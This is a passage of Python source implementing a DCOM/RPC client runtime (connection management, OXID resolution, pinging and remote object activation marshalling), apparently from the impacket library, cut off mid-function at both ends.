e:\n            # There might be exceptions when sending packets \n            # We should try to continue tho.\n            LOG.error(str(e))\n            pass\n\n        DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer)\n        try:\n            DCOMConnection.PINGTIMER.start()\n        except Exception as e:\n            if str(e).find('threads can only be started once') < 0:\n                raise e\n\n    def initTimer(self):\n        if self.__oxidResolver is True:\n            if DCOMConnection.PINGTIMER is None:\n                DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer)\n            try:\n                DCOMConnection.PINGTIMER.start()\n            except Exception as e:\n                if str(e).find('threads can only be started once') < 0:\n                    raise e\n\n    def initConnection(self):\n        stringBinding = r'ncacn_ip_tcp:%s' % self.__target\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if self.__remoteHost:\n            rpctransport.setRemoteHost(self.__remoteHost)\n            rpctransport.setRemoteName(self.__target)\n\n        if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0:\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                                         self.__aesKey, self.__TGT, self.__TGS)\n            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n        self.__portmap = rpctransport.get_dce_rpc()\n        self.__portmap.set_auth_level(self.__authLevel)\n        if self.__doKerberos is True:\n            self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n        self.__portmap.connect()\n        DCOMConnection.PORTMAPS[self.__target] = self.__portmap\n\n    def CoCreateInstanceEx(self, clsid, iid):\n        scm = IRemoteSCMActivator(self.__portmap)\n        iInterface = scm.RemoteCreateInstance(clsid, iid)\n        self.initTimer()\n        return iInterface\n\n    def get_dce_rpc(self):\n        return DCOMConnection.PORTMAPS[self.__target]\n\n    def disconnect(self):\n        # https://github.com/fortra/impacket/issues/1039\n        if self.__target in DCOMConnection.PORTMAPS.keys():\n            del(DCOMConnection.PORTMAPS[self.__target])\n        if self.__target in DCOMConnection.OID_SET.keys():\n            del(DCOMConnection.OID_SET[self.__target])\n        if DCOMConnection.PINGTIMER and len(DCOMConnection.PORTMAPS) == 0:\n            DCOMConnection.PINGTIMER.cancel()\n            DCOMConnection.PINGTIMER.join()\n            DCOMConnection.PINGTIMER = None\n        if self.__target in INTERFACE.CONNECTIONS:\n            del(INTERFACE.CONNECTIONS[self.__target][current_thread().name])\n        self.__portmap.disconnect()\n        #print INTERFACE.CONNECTIONS\n\nclass CLASS_INSTANCE:\n    def __init__(self, ORPCthis, stringBinding):\n        self.__stringBindings = stringBinding\n        self.__ORPCthis = ORPCthis\n        self.__authType = RPC_C_AUTHN_WINNT\n        self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n    def get_ORPCthis(self):\n        return self.__ORPCthis\n    def get_string_bindings(self):\n        return self.__stringBindings\n    def get_auth_level(self):\n        if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY:\n            if self.__authType == RPC_C_AUTHN_WINNT:\n                return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY\n            else:\n                return RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n        return self.__authLevel\n    def set_auth_level(self, level):\n        self.__authLevel = level\n    def get_auth_type(self):\n        return self.__authType\n    def set_auth_type(self, authType):\n        self.__authType = authType\n\n\nclass INTERFACE:\n    # class variable holding the transport connections, organized by target IP\n    CONNECTIONS = {}\n\n    def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None,\n                 interfaceInstance=None):\n        if interfaceInstance is not None:\n            self.__target = interfaceInstance.get_target()\n            self.__iPid = interfaceInstance.get_iPid()\n            self.__oid  = interfaceInstance.get_oid()\n            self.__oxid = interfaceInstance.get_oxid()\n            self.__cinstance = interfaceInstance.get_cinstance()\n            self.__objRef = interfaceInstance.get_objRef()\n            self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown()\n        else:\n            if target is None:\n                raise Exception('No target')\n            self.__target = target\n            self.__iPid = iPid\n            self.__oid  = oid\n            self.__oxid = oxid\n            self.__cinstance = cinstance\n            self.__objRef = objRef\n            self.__ipidRemUnknown = ipidRemUnknown\n            # We gotta check if we have a container inside our connection list, if not, create\n            if (self.__target in INTERFACE.CONNECTIONS) is not True:\n                INTERFACE.CONNECTIONS[self.__target] = {}\n                INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}\n\n            if objRef is not None:\n                self.process_interface(objRef)\n\n    def process_interface(self, data):\n        objRefType = OBJREF(data)['flags']\n        objRef = None\n        if objRefType == FLAGS_OBJREF_CUSTOM:\n            objRef = OBJREF_CUSTOM(data)\n        elif objRefType == FLAGS_OBJREF_HANDLER:\n            objRef = OBJREF_HANDLER(data)\n        elif objRefType == FLAGS_OBJREF_STANDARD:\n            objRef = OBJREF_STANDARD(data)\n        elif objRefType == FLAGS_OBJREF_EXTENDED:\n            objRef = OBJREF_EXTENDED(data)\n        else:\n            LOG.error(\"Unknown OBJREF Type! 0x%x\" % objRefType)\n\n        if objRefType != FLAGS_OBJREF_CUSTOM:\n            if objRef['std']['flags'] & SORF_NOPING == 0:\n                DCOMConnection.addOid(self.__target, objRef['std']['oid'])\n            self.__iPid = objRef['std']['ipid']\n            self.__oid  = objRef['std']['oid']\n            self.__oxid = objRef['std']['oxid']\n            if self.__oxid is None:\n                objRef.dump()\n                raise Exception('OXID is None')\n\n    def get_oxid(self):\n        return self.__oxid\n\n    def set_oxid(self, oxid):\n        self.__oxid = oxid\n\n    def get_oid(self):\n        return self.__oid\n\n    def set_oid(self, oid):\n        self.__oid = oid\n\n    def get_target(self):\n        return self.__target\n\n    def get_iPid(self):\n        return self.__iPid\n\n    def set_iPid(self, iPid):\n        self.__iPid = iPid\n\n    def get_objRef(self):\n        return self.__objRef\n\n    def set_objRef(self, objRef):\n        self.__objRef = objRef\n\n    def get_ipidRemUnknown(self):\n        return self.__ipidRemUnknown\n\n    def get_dce_rpc(self):\n        return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']\n\n    def get_cinstance(self):\n        return self.__cinstance\n\n    def set_cinstance(self, cinstance):\n        self.__cinstance = cinstance\n\n    def is_fqdn(self):\n        # I will assume the following\n        # If I can't socket.inet_aton() then it's not an IPv4 address\n        # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be\n        # an FQDN with ':'\n        # Is it isn't both, then it is a FQDN\n        try:\n            socket.inet_aton(self.__target)\n        except:\n            # Not an IPv4\n            try:\n                self.__target.index(':')\n            except:\n                # Not an IPv6, it's a FQDN\n                return True\n        return False\n\n    def connect(self, iid = None):\n        if (self.__target in INTERFACE.CONNECTIONS) is True:\n            if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \\\n                            (self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True:\n                dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']\n                currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding']\n                if currentBinding == iid:\n                    # We don't need to alter_ctx\n                    pass\n                else:\n                    newDce = dce.alter_ctx(iid)\n                    INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce\n                    INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid\n            else:\n                stringBindings = self.get_cinstance().get_string_bindings()\n                # No OXID present, we should create a new connection and store it\n                stringBinding = None\n                isTargetFQDN = self.is_fqdn()\n                LOG.debug('Target system is %s and isFQDN is %s' % (self.get_target(), isTargetFQDN))\n                for strBinding in stringBindings:\n                    # Here, depending on the get_target() value several things can happen\n                    # 1) it's an IPv4 address\n                    # 2) it's an IPv6 address\n                    # 3) it's a NetBios Name\n                    # we should handle all this cases accordingly\n                    # Does this match exactly what get_target() returns?\n                    LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr'])\n                    if strBinding['wTowerId'] == 7:\n                        # If there's port information, let's strip it for now.\n                        if strBinding['aNetworkAddr'].find('[') >= 0:\n                            binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')\n                            bindingPort = '[' + bindingPort\n                        else:\n                            binding = strBinding['aNetworkAddr']\n                            bindingPort = ''\n\n                        if binding.upper().find(self.get_target().upper()) >= 0:\n                            stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]\n                            break\n                        # If get_target() is a FQDN, does it match the hostname?\n                        elif isTargetFQDN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0:\n                            # Here we replace the aNetworkAddr with self.get_target()\n                            # This is to help resolving the target system name.\n                            # self.get_target() has been resolved already otherwise we wouldn't be here whereas\n                            # aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver\n                            # with the right suffixes it will probably not resolve right.\n                            stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort)\n                            break\n\n                LOG.debug('StringBinding chosen: %s' % stringBinding)\n                if stringBinding is None:\n                    # Something wen't wrong, let's just report it\n                    raise Exception('Can\\'t find a valid stringBinding to connect')\n\n                dcomInterface = transport.DCERPCTransportFactory(stringBinding)\n\n                if DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos():\n                    dcomInterface.setRemoteHost(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().getRemoteHost())\n                    dcomInterface.setRemoteName(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().getRemoteName())\n\n                if hasattr(dcomInterface, 'set_credentials'):\n                    # This method exists only for selected protocol sequences.\n                    dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials())\n                    dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(),\n                                               DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost())\n                dcomInterface.set_connect_timeout(300)\n                dce = dcomInterface.get_dce_rpc()\n\n                if iid is None:\n                    raise Exception('IID is None')\n                else:\n                    dce.set_auth_level(self.__cinstance.get_auth_level())\n                    dce.set_auth_type(self.__cinstance.get_auth_type())\n\n                dce.connect()\n\n                if iid is None:\n                    raise Exception('IID is None')\n                else:\n                    dce.bind(iid)\n\n                if self.__oxid is None:\n                    #import traceback\n                    #traceback.print_stack()\n                    raise Exception(\"OXID NONE, something wrong!!!\")\n\n                INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}\n                INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid] = {}\n                INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = dce\n                INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid\n        else:\n            # No connection created\n            raise Exception('No connection created')\n\n    def request(self, req, iid = None, uuid = None):\n        req['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        req['ORPCthis']['flags'] = 0\n        self.connect(iid)\n        dce = self.get_dce_rpc()\n        try:\n            resp = dce.request(req, uuid)\n        except Exception as e:\n            if str(e).find('RPC_E_DISCONNECTED') >= 0:\n                msg = str(e) + '\\n'\n                msg += \"DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\\n\"\n                msg += \"You should exit the app and start again\\n\"\n                raise DCERPCException(msg)\n            else:\n                raise\n        return resp\n\n    def disconnect(self):\n        return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'].disconnect()\n\n\n# 3.1.1.5.6.1 IRemUnknown Methods\nclass IRemUnknown(INTERFACE):\n    def __init__(self, interface):\n        self._iid = IID_IRemUnknown\n        #INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(),\n        #                   interface.get_iPid(), target=interface.get_target())\n        INTERFACE.__init__(self, interfaceInstance=interface)\n        self.set_oxid(interface.get_oxid())\n\n    def RemQueryInterface(self, cRefs, iids):\n        # For now, it only supports a single IID\n        request = RemQueryInterface()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['ripid'] = self.get_iPid()\n        request['cRefs'] = cRefs\n        request['cIids'] = len(iids)\n        for iid in iids:\n            _iid = IID()\n            _iid['Data'] = iid\n            request['iids'].append(_iid)\n        resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())\n        #resp.dump()\n\n        return IRemUnknown2(\n            INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'],\n                      oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'],\n                      target=self.get_target()))\n\n    def RemAddRef(self):\n        request = RemAddRef()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['cInterfaceRefs'] = 1\n        element = REMINTERFACEREF()\n        element['ipid'] = self.get_iPid()\n        element['cPublicRefs'] = 1\n        request['InterfaceRefs'].append(element)\n        resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())\n        return resp\n\n    def RemRelease(self):\n        request = RemRelease()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['cInterfaceRefs'] = 1\n        element = REMINTERFACEREF()\n        element['ipid'] = self.get_iPid()\n        element['cPublicRefs'] = 1\n        request['InterfaceRefs'].append(element)\n        resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())\n        DCOMConnection.delOid(self.get_target(), self.get_oid())\n        return resp\n\n# 3.1.1.5.7 IRemUnknown2 Interface\nclass IRemUnknown2(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self, interface)\n        self._iid = IID_IRemUnknown2\n\n# 3.1.2.5.1 IObjectExporter Methods\nclass IObjectExporter:\n    def __init__(self, dce):\n        self.__portmap = dce\n\n    # 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0)\n    def ResolveOxid(self, pOxid, arRequestedProtseqs):\n        self.__portmap.connect()\n        self.__portmap.bind(IID_IObjectExporter)\n        request = ResolveOxid()\n        request['pOxid'] = pOxid\n        request['cRequestedProtseqs'] = len(arRequestedProtseqs)\n        for protSeq in arRequestedProtseqs:\n            request['arRequestedProtseqs'].append(protSeq)\n        resp = self.__portmap.request(request)\n        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray'])\n        strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]\n\n        done = False\n        stringBindings = list()\n        while not done:\n            if strBindings[0:1] == b'\\x00' and strBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                binding = STRINGBINDING(strBindings)\n                stringBindings.append(binding)\n                strBindings = strBindings[len(binding):]\n\n        return stringBindings\n\n    # 3.1.2.5.1.2 IObjectExporter::SimplePing (Opnum 1)\n    def SimplePing(self, setId):\n        self.__portmap.connect()\n        self.__portmap.bind(IID_IObjectExporter)\n        request = SimplePing()\n        request['pSetId'] = setId\n        resp = self.__portmap.request(request)\n        return resp\n\n    # 3.1.2.5.1.3 IObjectExporter::ComplexPing (Opnum 2)\n    def ComplexPing(self, setId = 0, sequenceNum = 0, addToSet = [], delFromSet = []):\n        self.__portmap.connect()\n        #self.__portmap.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)\n        self.__portmap.bind(IID_IObjectExporter)\n        request = ComplexPing()\n        request['pSetId'] = setId\n        request['SequenceNum'] = setId\n        request['cAddToSet'] = len(addToSet)\n        request['cDelFromSet'] = len(delFromSet)\n        if len(addToSet) > 0:\n            for oid in addToSet:\n                oidn = OID()\n                oidn['Data'] = oid\n                request['AddToSet'].append(oidn)\n        else:\n            request['AddToSet'] = NULL\n\n        if len(delFromSet) > 0:\n            for oid in delFromSet:\n                oidn = OID()\n                oidn['Data'] = oid\n                request['DelFromSet'].append(oidn)\n        else:\n            request['DelFromSet'] = NULL\n        resp = self.__portmap.request(request)\n        return resp\n\n    # 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3)\n    def ServerAlive(self):\n        self.__portmap.connect()\n        self.__portmap.bind(IID_IObjectExporter)\n        request = ServerAlive()\n        resp = self.__portmap.request(request)\n        return resp\n\n    # 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4)\n    def ResolveOxid2(self,pOxid, arRequestedProtseqs):\n        self.__portmap.connect()\n        self.__portmap.bind(IID_IObjectExporter)\n        request = ResolveOxid2()\n        request['pOxid'] = pOxid\n        request['cRequestedProtseqs'] = len(arRequestedProtseqs)\n        for protSeq in arRequestedProtseqs:\n            request['arRequestedProtseqs'].append(protSeq)\n        resp = self.__portmap.request(request)\n        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray'])\n        strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]\n\n        done = False\n        stringBindings = list()\n        while not done:\n            if strBindings[0:1] == b'\\x00' and strBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                binding = STRINGBINDING(strBindings)\n                stringBindings.append(binding)\n                strBindings = strBindings[len(binding):]\n\n        return stringBindings\n\n    # 3.1.2.5.1.6 IObjectExporter::ServerAlive2 (Opnum 5)\n    def ServerAlive2(self):\n        self.__portmap.connect()\n        self.__portmap.bind(IID_IObjectExporter)\n        request = ServerAlive2()\n        resp = self.__portmap.request(request)\n\n        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOrBindings']['aStringArray'])\n        strBindings = Oxids[:resp['ppdsaOrBindings']['wSecurityOffset']*2]\n\n        done = False\n        stringBindings = list()\n        while not done:\n            if strBindings[0:1] == b'\\x00' and strBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                binding = STRINGBINDING(strBindings)\n                stringBindings.append(binding)\n                strBindings = strBindings[len(binding):]\n\n        return stringBindings\n\n# 3.1.2.5.2.1 IActivation Methods\nclass IActivation:\n    def __init__(self, dce):\n        self.__portmap = dce\n\n    # 3.1.2.5.2.3.1 IActivation:: RemoteActivation (Opnum 0)\n    def RemoteActivation(self, clsId, iid):\n        # Only supports one interface at a time\n        self.__portmap.bind(IID_IActivation)\n        ORPCthis = ORPCTHIS()\n        ORPCthis['cid'] = generate()\n        ORPCthis['extensions'] = NULL\n        ORPCthis['flags'] = 1\n\n        request = RemoteActivation()\n        request['Clsid'] = clsId\n        request['pwszObjectName'] = NULL\n        request['pObjectStorage'] = NULL\n        request['ClientImpLevel'] = 2\n        request['Mode'] = 0\n        request['Interfaces'] = 1\n\n        _iid = IID()\n        _iid['Data'] = iid\n\n        request['pIIDs'].append(_iid)\n        request['cRequestedProtseqs'] = 1\n        request['aRequestedProtseqs'].append(7)\n\n        resp = self.__portmap.request(request)\n\n        # Now let's parse the answer and build an Interface instance\n\n        ipidRemUnknown = resp['pipidRemUnknown']\n\n        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray'])\n        strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]\n        securityBindings = Oxids[resp['ppdsaOxidBindings']['wSecurityOffset']*2:]\n\n        done = False\n        stringBindings = list()\n        while not done:\n            if strBindings[0:1] == b'\\x00' and strBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                binding = STRINGBINDING(strBindings)\n                stringBindings.append(binding)\n                strBindings = strBindings[len(binding):]\n\n        done = False\n        while not done:\n            if len(securityBindings) < 2:\n                done = True\n            elif securityBindings[0:1] == b'\\x00' and securityBindings[1:2 ]== b'\\x00':\n                done = True\n            else:\n                secBinding = SECURITYBINDING(securityBindings)\n                securityBindings = securityBindings[len(secBinding):]\n\n        classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)\n        return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown,\n                                      target=self.__portmap.get_rpc_transport().getRemoteName()))\n\n\n# 3.1.2.5.2.2 IRemoteSCMActivator Methods\nclass IRemoteSCMActivator:\n    def __init__(self, dce):\n        self.__portmap = dce\n\n    def RemoteGetClassObject(self, clsId, iid):\n        #  iid should be IID_IClassFactory\n        self.__portmap.bind(IID_IRemoteSCMActivator)\n        ORPCthis = ORPCTHIS()\n        ORPCthis['cid'] = generate()\n        ORPCthis['extensions'] = NULL\n        ORPCthis['flags'] = 1\n\n        request = RemoteGetClassObject()\n        request['ORPCthis'] = ORPCthis\n        activationBLOB = ACTIVATION_BLOB()\n        activationBLOB['CustomHeader']['destCtx'] = 2\n        activationBLOB['CustomHeader']['pdwReserved'] = NULL\n        clsid = CLSID()\n        clsid['Data'] = CLSID_InstantiationInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n        clsid = CLSID()\n        clsid['Data'] = CLSID_ActivationContextInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n        clsid = CLSID()\n        clsid['Data'] = CLSID_ServerLocationInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n        clsid = CLSID()\n        clsid['Data'] = CLSID_ScmRequestInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n\n        properties = b''\n        # InstantiationInfo\n        instantiationInfo = InstantiationInfoData()\n        instantiationInfo['classId'] = clsId\n        instantiationInfo['cIID'] = 1\n\n        _iid = IID()\n        _iid['Data'] = iid\n\n        instantiationInfo['pIID'].append(_iid)\n\n        dword = DWORD()\n        marshaled = instantiationInfo.getData()+instantiationInfo.getDataReferents()\n        pad = (8 - (len(marshaled) % 8)) % 8\n        dword['Data'] = len(marshaled) + pad\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n        instantiationInfo['thisSize'] = dword['Data']\n\n        properties += marshaled + b'\\xFA'*pad\n\n        # ActivationContextInfoData\n        activationInfo = ActivationContextInfoData()\n        activationInfo['pIFDClientCtx'] = NULL\n        activationInfo['pIFDPrototypeCtx'] = NULL\n\n        dword = DWORD()\n        marshaled = activationInfo.getData()+activationInfo.getDataReferents()\n        pad = (8 - (len(marshaled) % 8)) % 8\n        dword['Data'] = len(marshaled) + pad\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n\n        properties += marshaled + b'\\xFA'*pad\n\n        # ServerLocation\n        locationInfo = LocationInfoData()\n        locationInfo['machineName'] = NULL\n\n        dword = DWORD()\n        dword['Data'] = len(locationInfo.getData())\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n\n        properties += locationInfo.getData()+locationInfo.getDataReferents()\n\n        # ScmRequestInfo\n        scmInfo = ScmRequestInfoData()\n        scmInfo['pdwReserved'] = NULL\n        #scmInfo['remoteRequest']['ClientImpLevel'] = 2\n        scmInfo['remoteRequest']['cRequestedProtseqs'] = 1\n        scmInfo['remoteRequest']['pRequestedProtseqs'].append(7)\n\n        dword = DWORD()\n        marshaled = scmInfo.getData()+scmInfo.getDataReferents()\n        pad = (8 - (len(marshaled) % 8)) % 8\n        dword['Data'] = len(marshaled) + pad\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n\n        properties += marshaled + b'\\xFA'*pad\n\n        activationBLOB['Property'] = properties\n\n\n        objrefcustom = OBJREF_CUSTOM()\n        objrefcustom['iid'] = IID_IActivationPropertiesIn[:-4]\n        objrefcustom['clsid'] = CLSID_ActivationPropertiesIn\n\n        objrefcustom['pObjectData'] = activationBLOB.getData()\n        objrefcustom['ObjectReferenceSize'] = len(objrefcustom['pObjectData'])+8\n\n        request['pActProperties']['ulCntData'] = len(objrefcustom.getData())\n        request['pActProperties']['abData'] = list(objrefcustom.getData())\n        resp = self.__portmap.request(request)\n        # Now let's parse the answer and build an Interface instance\n\n        objRefType = OBJREF(b''.join(resp['ppActProperties']['abData']))['flags']\n        objRef = None\n        if objRefType == FLAGS_OBJREF_CUSTOM:\n            objRef = OBJREF_CUSTOM(b''.join(resp['ppActProperties']['abData']))\n        elif objRefType == FLAGS_OBJREF_HANDLER:\n            objRef = OBJREF_HANDLER(b''.join(resp['ppActProperties']['abData']))\n        elif objRefType == FLAGS_OBJREF_STANDARD:\n            objRef = OBJREF_STANDARD(b''.join(resp['ppActProperties']['abData']))\n        elif objRefType == FLAGS_OBJREF_EXTENDED:\n            objRef = OBJREF_EXTENDED(b''.join(resp['ppActProperties']['abData']))\n        else:\n            LOG.error(\"Unknown OBJREF Type! 0x%x\" % objRefType)\n\n\n        activationBlob = ACTIVATION_BLOB(objRef['pObjectData'])\n\n        propOutput = activationBlob['Property'][:activationBlob['CustomHeader']['pSizes'][0]['Data']]\n        scmReply = activationBlob['Property'][\n                   activationBlob['CustomHeader']['pSizes'][0]['Data']:activationBlob['CustomHeader']['pSizes'][0]['Data'] +\n                                                                       activationBlob['CustomHeader']['pSizes'][1]['Data']]\n\n        scmr = ScmReplyInfoData()\n        size = scmr.fromString(scmReply)\n        # Processing the scmReply\n        scmr.fromStringReferents(scmReply[size:])\n        ipidRemUnknown = scmr['remoteReply']['ipidRemUnknown']\n        Oxids = b''.join(pack('<H', x) for x in scmr['remoteReply']['pdsaOxidBindings']['aStringArray'])\n        strBindings = Oxids[:scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2]\n        securityBindings = Oxids[scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2:]\n\n        done = False\n        stringBindings = list()\n        while not done:\n            if strBindings[0:1] == b'\\x00' and strBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                binding = STRINGBINDING(strBindings)\n                stringBindings.append(binding)\n                strBindings = strBindings[len(binding):]\n\n        done = False\n        while not done:\n            if len(securityBindings) < 2:\n                done = True\n            elif securityBindings[0:1] == b'\\x00' and securityBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                secBinding = SECURITYBINDING(securityBindings)\n                securityBindings = securityBindings[len(secBinding):]\n\n        # Processing the Properties Output\n        propsOut = PropsOutInfo()\n        size = propsOut.fromString(propOutput)\n        propsOut.fromStringReferents(propOutput[size:])\n\n        classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)\n        classInstance.set_auth_level(scmr['remoteReply']['authnHint'])\n        classInstance.set_auth_type(self.__portmap.get_auth_type())\n        return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown,\n                                      target=self.__portmap.get_rpc_transport().getRemoteName()))\n\n    def RemoteCreateInstance(self, clsId, iid):\n        # Only supports one interface at a time\n        self.__portmap.bind(IID_IRemoteSCMActivator)\n\n        ORPCthis = ORPCTHIS()\n        ORPCthis['cid'] = generate()\n        ORPCthis['extensions'] = NULL\n        ORPCthis['flags'] = 1\n\n        request = RemoteCreateInstance()\n        request['ORPCthis'] = ORPCthis\n        request['pUnkOuter'] = NULL\n\n        activationBLOB = ACTIVATION_BLOB()\n        activationBLOB['CustomHeader']['destCtx'] = 2\n        activationBLOB['CustomHeader']['pdwReserved'] = NULL\n        clsid = CLSID()\n        clsid['Data'] = CLSID_InstantiationInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n        clsid = CLSID()\n        clsid['Data'] = CLSID_ActivationContextInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n        clsid = CLSID()\n        clsid['Data'] = CLSID_ServerLocationInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n        clsid = CLSID()\n        clsid['Data'] = CLSID_ScmRequestInfo\n        activationBLOB['CustomHeader']['pclsid'].append(clsid)\n\n        properties = b''\n        # InstantiationInfo\n        instantiationInfo = InstantiationInfoData()\n        instantiationInfo['classId'] = clsId\n        instantiationInfo['cIID'] = 1\n\n        _iid = IID()\n        _iid['Data'] = iid\n\n        instantiationInfo['pIID'].append(_iid)\n\n        dword = DWORD()\n        marshaled = instantiationInfo.getData()+instantiationInfo.getDataReferents()\n        pad = (8 - (len(marshaled) % 8)) % 8\n        dword['Data'] = len(marshaled) + pad\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n        instantiationInfo['thisSize'] = dword['Data']\n\n        properties += marshaled + b'\\xFA'*pad\n\n        # ActivationContextInfoData\n        activationInfo = ActivationContextInfoData()\n        activationInfo['pIFDClientCtx'] = NULL\n        activationInfo['pIFDPrototypeCtx'] = NULL\n\n        dword = DWORD()\n        marshaled = activationInfo.getData()+activationInfo.getDataReferents()\n        pad = (8 - (len(marshaled) % 8)) % 8\n        dword['Data'] = len(marshaled) + pad\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n\n        properties += marshaled + b'\\xFA'*pad\n\n        # ServerLocation\n        locationInfo = LocationInfoData()\n        locationInfo['machineName'] = NULL\n\n        dword = DWORD()\n        dword['Data'] = len(locationInfo.getData())\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n\n        properties += locationInfo.getData()+locationInfo.getDataReferents()\n\n        # ScmRequestInfo\n        scmInfo = ScmRequestInfoData()\n        scmInfo['pdwReserved'] = NULL\n        #scmInfo['remoteRequest']['ClientImpLevel'] = 2\n        scmInfo['remoteRequest']['cRequestedProtseqs'] = 1\n        scmInfo['remoteRequest']['pRequestedProtseqs'].append(7)\n\n        dword = DWORD()\n        marshaled = scmInfo.getData()+scmInfo.getDataReferents()\n        pad = (8 - (len(marshaled) % 8)) % 8\n        dword['Data'] = len(marshaled) + pad\n        activationBLOB['CustomHeader']['pSizes'].append(dword)\n\n        properties += marshaled + b'\\xFA'*pad\n\n        activationBLOB['Property'] = properties\n\n\n        objrefcustom = OBJREF_CUSTOM()\n        objrefcustom['iid'] = IID_IActivationPropertiesIn[:-4]\n        objrefcustom['clsid'] = CLSID_ActivationPropertiesIn\n\n        objrefcustom['pObjectData'] = activationBLOB.getData()\n        objrefcustom['ObjectReferenceSize'] = len(objrefcustom['pObjectData'])+8\n\n        request['pActProperties']['ulCntData'] = len(objrefcustom.getData())\n        request['pActProperties']['abData'] = 